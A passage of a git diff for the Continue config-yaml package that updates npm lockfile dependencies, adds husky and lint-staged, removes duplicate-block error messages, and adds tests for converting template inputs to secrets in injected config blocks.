"node_modules/log-update/node_modules/wrap-ansi": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.2.tgz", + "integrity": "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.2.1", + "string-width": "^7.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, "node_modules/math-intrinsics": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", @@ -2563,12 +3082,18 @@ "node": ">= 0.4" } }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true, + "license": "MIT" + }, "node_modules/merge2": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", "dev": true, - "license": "MIT", "engines": { "node": ">= 8" } @@ -2587,12 +3112,37 @@ "node": ">=8.6" } }, + "node_modules/mimic-fn": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-4.0.0.tgz", + "integrity": "sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mimic-function": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/mimic-function/-/mimic-function-5.0.1.tgz", + "integrity": "sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/minimatch": { "version": "9.0.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", "dev": true, - "license": "ISC", "dependencies": { "brace-expansion": "^2.0.1" }, @@ -2628,6 +3178,35 @@ "license": "MIT", "peer": true }, + "node_modules/npm-run-path": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-5.3.0.tgz", + "integrity": "sha512-ppwTtiJZq0O/ai0z7yfudtBpWIoxM8yE6nHi1X47eFR2EWORqfbu6CnPlNsjeN683eT0qG6H/Pyf9fCcvjnnnQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path/node_modules/path-key": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-4.0.0.tgz", + "integrity": "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/object-inspect": { "version": "1.13.4", "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", @@ -2736,6 +3315,22 @@ "wrappy": "1" } }, + "node_modules/onetime": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-6.0.0.tgz", + "integrity": "sha512-1FlR+gjXK7X+AsAHso35MnyN5KqGwJRi/31ft6x0M194ht7S+rWAvd7PHss9xSKMzE0asv1pyIHaJYq+BbacAQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-fn": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/optionator": { "version": "0.9.4", "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", @@ -2849,7 +3444,6 @@ "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=8" } @@ -2861,16 +3455,6 @@ "dev": true, "license": "MIT" }, - "node_modules/path-type": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", - "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, "node_modules/picomatch": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", @@ -2884,6 +3468,19 @@ "url": "https://github.com/sponsors/jonschlinkert" } }, + "node_modules/pidtree": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/pidtree/-/pidtree-0.6.0.tgz", + "integrity": "sha512-eG2dWTVw5bzqGRztnHExczNxt5VGsE6OwTeCG3fdUf9KBsZzO3R5OIIIzWR+iZA0NtZ+RDVdaoE2dK1cn6jH4g==", + "dev": true, + "license": "MIT", + "bin": { + "pidtree": "bin/pidtree.js" + }, + "engines": { + "node": ">=0.10" + } + }, "node_modules/possible-typed-array-names": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz", @@ -3118,6 +3715,39 @@ "node": ">=4" } }, + "node_modules/restore-cursor": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-5.1.0.tgz", + "integrity": "sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA==", + "dev": true, + "license": "MIT", + "dependencies": { + "onetime": "^7.0.0", + "signal-exit": "^4.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/restore-cursor/node_modules/onetime": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-7.0.0.tgz", + "integrity": "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-function": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/reusify": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", @@ -3129,6 +3759,13 @@ "node": ">=0.10.0" } }, + "node_modules/rfdc": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz", + "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", + "dev": true, + "license": "MIT" + }, "node_modules/rimraf": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", @@ -3237,11 +3874,10 @@ } }, "node_modules/semver": { - "version": "7.7.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz", - "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==", + "version": "7.7.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", + "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", "dev": true, - "license": "ISC", "bin": { "semver": "bin/semver.js" }, @@ -3304,7 +3940,6 @@ "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "shebang-regex": "^3.0.0" }, @@ -3318,7 +3953,6 @@ "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=8" } @@ -3412,14 +4046,60 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/slash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", - "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/slice-ansi": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-5.0.0.tgz", + "integrity": "sha512-FC+lgizVPfie0kkhqUScwRu1O/lF6NOgJmlCgK+/LYxDCTk8sGelYaHDhFcDN+Sn3Cv+3VSa4Byeo+IMCzpMgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.0.0", + "is-fullwidth-code-point": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/slice-ansi/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", "dev": true, "license": "MIT", "engines": { - "node": ">=8" + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/slice-ansi/node_modules/is-fullwidth-code-point": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-4.0.0.tgz", + "integrity": "sha512-O4L094N2/dZ7xqVdrXhh9r1KODPJpFms8B5sGdJLPy664AgvXsreZUyCQQNItZRDlYug4xStLjNp/sz3HvBowQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/stop-iteration-iterator": { @@ -3436,6 +4116,16 @@ "node": ">= 0.4" } }, + "node_modules/string-argv": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/string-argv/-/string-argv-0.3.2.tgz", + "integrity": "sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.6.19" + } + }, "node_modules/string-width": { "version": "4.2.3", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", @@ -3533,6 +4223,19 @@ "node": ">=4" } }, + "node_modules/strip-final-newline": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-3.0.0.tgz", + "integrity": "sha512-dOESqjYr96iWYylGObzd39EuNTa5VJxyvVAEm5Jnh7KGo75V43Hk1odPQkNDyXNmUR6k+gEiDVXnjB8HJ3crXw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/strip-json-comments": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", @@ -3608,16 +4311,15 @@ } }, "node_modules/ts-api-utils": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-1.4.3.tgz", - "integrity": "sha512-i3eMG77UTMD0hZhgRS562pv83RC6ukSAC2GMNWc+9dieh/+jDM5u5YG+NHX6VNDRHQcHwmsTHctP9LhbC3WxVw==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz", + "integrity": "sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==", "dev": true, - "license": "MIT", "engines": { - "node": ">=16" + "node": ">=18.12" }, "peerDependencies": { - "typescript": ">=4.2.0" + "typescript": ">=4.8.4" } }, "node_modules/tsconfig-paths": { @@ -3796,7 +4498,6 @@ "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", "dev": true, "license": "ISC", - "peer": true, "dependencies": { "isexe": "^2.0.0" }, @@ -3943,6 +4644,19 @@ "node": ">=10" } }, + "node_modules/yaml": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.1.tgz", + "integrity": "sha512-lcYcMxX2PO9XMGvAJkJ3OsNMw+/7FKes7/hgerGUYWIoWu5j/+YQqcZr5JnPZWzOsEBgMbSbiSTn/dv/69Mkpw==", + "dev": true, + "license": "ISC", + "bin": { + "yaml": "bin.mjs" + }, + "engines": { + "node": ">= 14.6" + } + }, "node_modules/yargs": { "version": "17.7.2", "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", diff --git a/package.json b/package.json index 28cdb97d8..8f5aa040e 100644 --- a/package.json +++ b/package.json @@ -7,12 +7,18 @@ "tsc:watch:core": "tsc --project core/tsconfig.json --watch --noEmit --pretty", "tsc:watch:binary": "tsc --project binary/tsconfig.json --watch --noEmit --pretty", "format": "prettier --write \"**/*.{js,jsx,ts,tsx,json,css,md}\" --ignore-path .gitignore --ignore-path .prettierignore", - "format:check": "prettier --check \"**/*.{js,jsx,ts,tsx,json,css,md}\" --ignore-path .gitignore --ignore-path .prettierignore" + "format:check": "prettier --check \"**/*.{js,jsx,ts,tsx,json,css,md}\" --ignore-path .gitignore --ignore-path .prettierignore", + "prepare": "husky" + }, + "lint-staged": { + "*.{js,jsx,ts,tsx,json,css,md}": "prettier --write" }, "devDependencies": { - "@typescript-eslint/parser": "^7.8.0", + "@typescript-eslint/parser": "^8.40.0", "concurrently": "^9.1.2", "eslint-plugin-import": "^2.29.1", + "husky": "^9.1.7", + "lint-staged": "^15.5.2", "prettier": "^3.3.3", "prettier-plugin-tailwindcss": "^0.6.8", "typescript": "^5.6.3" diff --git a/packages/config-types/package-lock.json b/packages/config-types/package-lock.json index 6449198ab..516661e85 100644 --- a/packages/config-types/package-lock.json +++ b/packages/config-types/package-lock.json @@ -9,7 +9,7 @@ "version": "1.0.14", "license": "Apache-2.0", "dependencies": { - "zod": "^3.24.2" + "zod": "^3.25.76" }, "devDependencies": { "@types/node": "^20.11.19", @@ -47,9 +47,9 @@ "license": "MIT" }, "node_modules/zod": { - "version": "3.24.2", - "resolved": "https://registry.npmjs.org/zod/-/zod-3.24.2.tgz", - "integrity": "sha512-lY7CDW43ECgW9u1TcT3IoXHflywfVqDYze4waEz812jR/bZ8FHDsl7pFQoSZTz5N+2NqRXs8GBwnAwo3ZNxqhQ==", + "version": "3.25.76", + "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", + "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==", "license": "MIT", "funding": { "url": "https://github.com/sponsors/colinhacks" diff --git a/packages/config-types/package.json b/packages/config-types/package.json index 635e37e97..cc6ffda42 100644 --- a/packages/config-types/package.json +++ b/packages/config-types/package.json @@ -16,6 +16,6 @@ "typescript": "^5.5.2" }, "dependencies": { - "zod": "^3.24.2" + "zod": "^3.25.76" } } diff --git a/packages/config-yaml/package-lock.json b/packages/config-yaml/package-lock.json index 9f9724af4..5cb3c306a 100644 --- a/packages/config-yaml/package-lock.json +++ b/packages/config-yaml/package-lock.json @@ -1,12 +1,12 @@ { "name": "@continuedev/config-yaml", - "version": "1.17.0", + "version": "1.23.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@continuedev/config-yaml", - "version": "1.17.0", + "version": "1.23.0", "license": "Apache-2.0", "dependencies": { "@continuedev/config-types": "^1.0.14", diff --git a/packages/config-yaml/package.json b/packages/config-yaml/package.json index 378825d67..2fc796325 100644 --- a/packages/config-yaml/package.json +++ b/packages/config-yaml/package.json @@ -1,6 +1,6 @@ { "name": "@continuedev/config-yaml", - "version": "1.17.0", + "version": "1.23.0", "description": "", "main": "dist/index.js", "types": "dist/index.d.ts", diff --git a/packages/config-yaml/src/__tests__/index.test.ts b/packages/config-yaml/src/__tests__/index.test.ts index 07b3a3eea..cbfcc80b3 100644 --- a/packages/config-yaml/src/__tests__/index.test.ts +++ b/packages/config-yaml/src/__tests__/index.test.ts @@ -251,7 +251,6 @@ describe("E2E Scenarios", () => { ); const config = unrolledConfig.config; - const errors = unrolledConfig.errors; // The original rules array should have two items expect(config?.rules?.length).toBe(3); // Now 3 with the injected block @@ -266,13 +265,9 @@ describe("E2E Scenarios", () => { typeof config?.rules?.[2] !== "string" && config?.rules?.[2]?.rule === "Be humble", ); - - // Check if we receive one error that is caused by duplicate rules - expect(errors?.length).toBe(1); - expect(errors?.[0].message.includes("Duplicate rules detected")); }); - it("duplicate detection should happen in the assistant config first and then the intected blocks", async () => { + it("duplicate detection should happen in the assistant config first and then the injected blocks", async () => { const unrolledConfig = await unrollAssistant( { uriType: "file", @@ -313,21 +308,6 @@ describe("E2E Scenarios", () => { expect(config?.rules?.length).toBe(1); expect(config?.prompts?.length).toBe(1); expect(config?.docs?.length).toBe(1); - - // Check if there are 8 duplication detected - expect(errors?.length).toBe(8); - - // Beginning of the assistant config duplication check - expect( - errors?.[0].message.includes("Duplicate models named gpt-5 detected"), - ).toBe(true); - // Beginning of the injected blocks duplication check - expect(errors?.[4].message.includes("Duplicate rules detected")).toBe(true); - expect( - errors?.[6].message.includes( - "Duplicate mcpServers named Browser search detected", - ), - ).toBe(true); }); it("should throw when a block is blocklisted", async () => { diff --git a/packages/config-yaml/src/browser.ts b/packages/config-yaml/src/browser.ts index 9edef65aa..02478264c 100644 --- a/packages/config-yaml/src/browser.ts +++ b/packages/config-yaml/src/browser.ts @@ -14,6 +14,8 @@ export * from "./modelName.js"; // Note: registryClient.js is excluded because it uses Node.js fs/path APIs export * from "./schemas/data/index.js"; export * from "./schemas/index.js"; +export * from "./schemas/mcp/convertJson.js"; +export * from "./schemas/mcp/json.js"; export * from "./schemas/models.js"; export * from "./schemas/policy.js"; export * from "./validation.js"; diff --git a/packages/config-yaml/src/index.ts b/packages/config-yaml/src/index.ts index c87d689ee..b14b455a7 100644 --- a/packages/config-yaml/src/index.ts +++ b/packages/config-yaml/src/index.ts @@ -1,2 +1,3 @@ export * from "./browser.js"; export * from "./registryClient.js"; +export { parseAgentFileRules } from "./markdown/agentFiles.js"; diff --git a/packages/config-yaml/src/load/blockDuplicationDetector.ts b/packages/config-yaml/src/load/blockDuplicationDetector.ts index 78e5ce980..c95a5e1be 100644 --- a/packages/config-yaml/src/load/blockDuplicationDetector.ts +++ b/packages/config-yaml/src/load/blockDuplicationDetector.ts @@ -36,11 +36,7 @@ export class BlockDuplicationDetector { } // Check if the name is duplicated within the same blockType - isDuplicated( - block: any, - blockType: BlockType, - injectError?: (errorMsg: string) => void, - ): boolean { + isDuplicated(block: any, blockType: BlockType): boolean { // Not checking any null or undefined object if (block === null || block === undefined) { return false; @@ -49,25 +45,16 @@ export class BlockDuplicationDetector { switch (blockType) { case "rules": if (this.isRuleDuplicated(block)) { - injectError?.( - `Duplicate rules${typeof block === "string" ? "" : ` named ${block.name}`} detected. The duplicate one has been deleted for preventing unexpected behavior.`, - ); return true; } return false; case "context": if (this.isContextDuplicated(block)) { - injectError?.( - `Duplicate ${block.provider} context providers detected. The duplicate one has been deleted for preventing unexpected behavior.`, - ); return true; } return false; default: if (this.isCommonBlockDuplicated(block, blockType)) { - injectError?.( - `Duplicate ${blockType} named ${block.name} detected. The duplicate one has been deleted for preventing unexpected behavior.`, - ); return true; } return false; diff --git a/packages/config-yaml/src/load/injectBlocks.test.ts b/packages/config-yaml/src/load/injectBlocks.test.ts new file mode 100644 index 000000000..14feb97dc --- /dev/null +++ b/packages/config-yaml/src/load/injectBlocks.test.ts @@ -0,0 +1,538 @@ +import { Registry } from "../interfaces/index.js"; +import { PackageIdentifier } from "../interfaces/slugs.js"; +import { ConfigYaml } from "../schemas/index.js"; +import { unrollBlocks } from "./unroll.js"; + +// Mock Registry for testing +class MockRegistry implements Registry { + private content: Record = {}; + + setContent(id: string, content: string) { + this.content[id] = content; + } + + async getContent(id: PackageIdentifier): Promise { + const key = + id.uriType === "file" + ? id.fileUri + : `${id.fullSlug.ownerSlug}/${id.fullSlug.packageSlug}`; + if (this.content[key]) { + return this.content[key]; + } + throw new Error(`Content not found for ${key}`); + } +} + +describe("injectBlocks with input-to-secret conversion", () => { + let mockRegistry: MockRegistry; + + beforeEach(() => { + mockRegistry = new MockRegistry(); + }); + + it("converts inputs to secrets in injected model blocks", async () => { + // Set up a basic assistant config + const assistant: ConfigYaml = { + name: "Test Assistant", + version: "1.0.0", + }; + + // Set up an injected block with input template variables in model + // Note: Block schema requires exactly 1 element in arrays + const injectedBlockContent = ` +name: OpenAI Block +version: 1.0.0 +schema: v1 +models: + - name: gpt-4 + provider: openai + model: gpt-4 + apiKey: \${{ inputs.openaiKey }} + apiBase: \${{ inputs.customEndpoint }} +`; + + const injectedBlockId: PackageIdentifier = { + uriType: "file", + fileUri: "file:///test/openai-block.yaml", + }; + + mockRegistry.setContent( + "file:///test/openai-block.yaml", + injectedBlockContent, + ); + + // Unroll with injected blocks + const result = await unrollBlocks( + assistant, + mockRegistry, + [injectedBlockId], // inject the block + undefined, // no allowlist + undefined, // no blocklist + undefined, // no request options + ); + + expect(result.config).toBeDefined(); + expect(result.config!.models).toBeDefined(); + expect(result.config!.models!.length).toBe(1); + + // Check that inputs were converted to secrets in the model + const model = result.config!.models![0]!; + expect(model.apiKey).toBe("${{ secrets.openaiKey }}"); + expect(model.apiBase).toBe("${{ secrets.customEndpoint }}"); + expect(model.name).toBe("gpt-4"); + expect(model.provider).toBe("openai"); + expect(model.model).toBe("gpt-4"); + + // Check that no input variables remain + const configStr = JSON.stringify(result.config); + expect(configStr).not.toContain("inputs.openaiKey"); + expect(configStr).not.toContain("inputs.customEndpoint"); + }); + + it("converts inputs to secrets in injected rule blocks", async () => { + const assistant: ConfigYaml = { + name: "Rule Test Assistant", + version: "1.0.0", + }; + + const injectedBlockContent = ` +name: Style Rules Block +version: 1.0.0 +schema: v1 +rules: + - "Use \${{ inputs.codeStyle }} formatting consistently" +`; + + const injectedBlockId: PackageIdentifier = { + uriType: "file", + fileUri: "file:///test/rules-block.yaml", + }; + + mockRegistry.setContent( + "file:///test/rules-block.yaml", + injectedBlockContent, + ); + + const result = await unrollBlocks( + assistant, + mockRegistry, + [injectedBlockId], + undefined, + undefined, + undefined, + ); + + expect(result.config).toBeDefined(); + expect(result.config!.rules).toBeDefined(); + expect(result.config!.rules!.length).toBe(1); + + // Check that input was converted to secret in the rule + // Note: string rules get wrapped in objects with sourceFile when injected + const rule = result.config!.rules![0]!; + if (typeof rule === "string") { + expect(rule).toBe("Use ${{ secrets.codeStyle }} formatting consistently"); + } else { + expect(rule.rule).toBe( + "Use ${{ secrets.codeStyle }} formatting consistently", + ); + } + + // Check that no input variables remain + const configStr = JSON.stringify(result.config); + expect(configStr).not.toContain("inputs.codeStyle"); + }); + + it("converts inputs to secrets in injected docs blocks", async () => { + const assistant: ConfigYaml = { + name: "Docs Test Assistant", + version: "1.0.0", + }; + + const injectedBlockContent = ` +name: Dynamic Docs Block +version: 1.0.0 +schema: v1 +docs: + - name: project-docs + startUrl: \${{ inputs.docsBaseUrl }}/api + rootUrl: \${{ inputs.docsBaseUrl }} + faviconUrl: \${{ inputs.docsBaseUrl }}/favicon.ico +`; + + const injectedBlockId: PackageIdentifier = { + uriType: "file", + fileUri: "file:///test/docs-block.yaml", + }; + + mockRegistry.setContent( + "file:///test/docs-block.yaml", + injectedBlockContent, + ); + + const result = await unrollBlocks( + assistant, + mockRegistry, + [injectedBlockId], + undefined, + undefined, + undefined, + ); + + expect(result.config).toBeDefined(); + expect(result.config!.docs).toBeDefined(); + expect(result.config!.docs!.length).toBe(1); + + // Check that inputs were converted to secrets in the doc config + const doc = result.config!.docs![0]!; + expect(doc.startUrl).toBe("${{ secrets.docsBaseUrl }}/api"); + expect(doc.rootUrl).toBe("${{ secrets.docsBaseUrl }}"); + expect(doc.faviconUrl).toBe("${{ secrets.docsBaseUrl }}/favicon.ico"); + expect(doc.name).toBe("project-docs"); + + // Check that no input variables remain + const configStr = JSON.stringify(result.config); + expect(configStr).not.toContain("inputs.docsBaseUrl"); + }); + + it("converts inputs to secrets in injected prompt blocks", async () => { + const assistant: ConfigYaml = { + name: "Prompt Test Assistant", + version: "1.0.0", + }; + + const injectedBlockContent = ` +name: Dynamic Prompt Block +version: 1.0.0 +schema: v1 +prompts: + - name: custom-prompt + description: "A customizable prompt" + prompt: "You are a \${{ inputs.roleType }} assistant. Use \${{ inputs.responseStyle }} responses." +`; + + const injectedBlockId: PackageIdentifier = { + uriType: "file", + fileUri: "file:///test/prompt-block.yaml", + }; + + mockRegistry.setContent( + "file:///test/prompt-block.yaml", + injectedBlockContent, + ); + + const result = await unrollBlocks( + assistant, + mockRegistry, + [injectedBlockId], + undefined, + undefined, + undefined, + ); + + expect(result.config).toBeDefined(); + expect(result.config!.prompts).toBeDefined(); + expect(result.config!.prompts!.length).toBe(1); + + // Check that inputs were converted to secrets in the prompt + const prompt = result.config!.prompts![0]!; + expect(prompt.prompt).toBe( + "You are a ${{ secrets.roleType }} assistant. Use ${{ secrets.responseStyle }} responses.", + ); + expect(prompt.name).toBe("custom-prompt"); + expect(prompt.description).toBe("A customizable prompt"); + + // Check that no input variables remain + const configStr = JSON.stringify(result.config); + expect(configStr).not.toContain("inputs.roleType"); + expect(configStr).not.toContain("inputs.responseStyle"); + }); + + it("handles multiple injected blocks of different types", async () => { + const assistant: ConfigYaml = { + name: "Multi-Block Assistant", + version: "1.0.0", + }; + + // Model block with inputs + const modelBlockContent = ` +name: API Model Block +version: 1.0.0 +schema: v1 +models: + - name: custom-api + provider: openai + model: \${{ inputs.modelName }} + apiKey: \${{ inputs.apiKey }} +`; + + // Rules block with inputs + const rulesBlockContent = ` +name: Dynamic Rules Block +version: 1.0.0 +schema: v1 +rules: + - "Follow \${{ inputs.codingStandard }} conventions" +`; + + const modelBlockId: PackageIdentifier = { + uriType: "file", + fileUri: "file:///test/model-block.yaml", + }; + + const rulesBlockId: PackageIdentifier = { + uriType: "file", + fileUri: "file:///test/rules-block.yaml", + }; + + mockRegistry.setContent("file:///test/model-block.yaml", modelBlockContent); + mockRegistry.setContent("file:///test/rules-block.yaml", rulesBlockContent); + + const result = await unrollBlocks( + assistant, + mockRegistry, + [modelBlockId, rulesBlockId], + undefined, + undefined, + undefined, + ); + + expect(result.config).toBeDefined(); + + // Check model block conversion + expect(result.config!.models).toBeDefined(); + expect(result.config!.models!.length).toBe(1); + const model = result.config!.models![0]!; + expect(model.model).toBe("${{ secrets.modelName }}"); + expect(model.apiKey).toBe("${{ secrets.apiKey }}"); + + // Check rules block conversion + expect(result.config!.rules).toBeDefined(); + expect(result.config!.rules!.length).toBe(1); + const rule = result.config!.rules![0]!; + if (typeof rule === "string") { + expect(rule).toBe("Follow ${{ secrets.codingStandard }} conventions"); + } else { + expect(rule.rule).toBe( + "Follow ${{ secrets.codingStandard }} conventions", + ); + } + + // Verify no input variables remain + const configStr = JSON.stringify(result.config); + expect(configStr).not.toContain("inputs.modelName"); + expect(configStr).not.toContain("inputs.apiKey"); + expect(configStr).not.toContain("inputs.codingStandard"); + }); + + it("handles blocks with no template variables", async () => { + const assistant: ConfigYaml = { + name: "Static Assistant", + version: "1.0.0", + }; + + const staticBlockContent = ` +name: Static 